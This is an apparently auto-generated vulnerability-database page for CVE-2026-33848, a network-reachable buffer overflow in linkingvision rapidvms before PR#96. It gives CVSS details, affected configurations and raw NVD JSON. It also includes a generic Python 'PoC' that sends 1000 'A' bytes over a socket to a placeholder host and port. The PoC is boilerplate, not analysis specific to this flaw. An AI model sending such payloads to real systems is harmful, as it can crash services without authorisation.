Security Vulnerability Report
中文
CVE-2026-33848 CVSS 8.8 HIGH

CVE-2026-33848

Published: 2026-03-24 06:16:22
Last Modified: 2026-04-20 20:20:12

Description

Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linkingvision:rapidvms:-:*:*:*:*:*:*:* - VULNERABLE
LinkingVision RapidVMS < PR#96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target IP and Port (Replace with actual vulnerable service details) target_ip = "192.168.1.100" target_port = 8080 # Create a payload to trigger the buffer overflow # This is a generic pattern; specific offset and bad chars depend on the binary payload = b"A" * 1000 # Adjust length based on specific vulnerability analysis try: # Send payload to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) print("Payload sent successfully.") s.close() except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33848", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:21.927", "lastModified": "2026-04-20T20:20:12.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96."}, {"lang": "es", "value": "Restricción indebida de operaciones dentro de los límites de un búfer de memoria vulnerabilidad en linkingvision rapidvms. Este problema afecta a rapidvms: antes de PR#96."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkingvision:rapidvms:-:*:*:*:*:*:*:*", "matchCriteriaId": "66ED8209-0138-4730-B63D-839D8B5DAB01"}]}]}], "references": [{"url": "https://github.com/linkingvision/rapidvms/pull/96", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}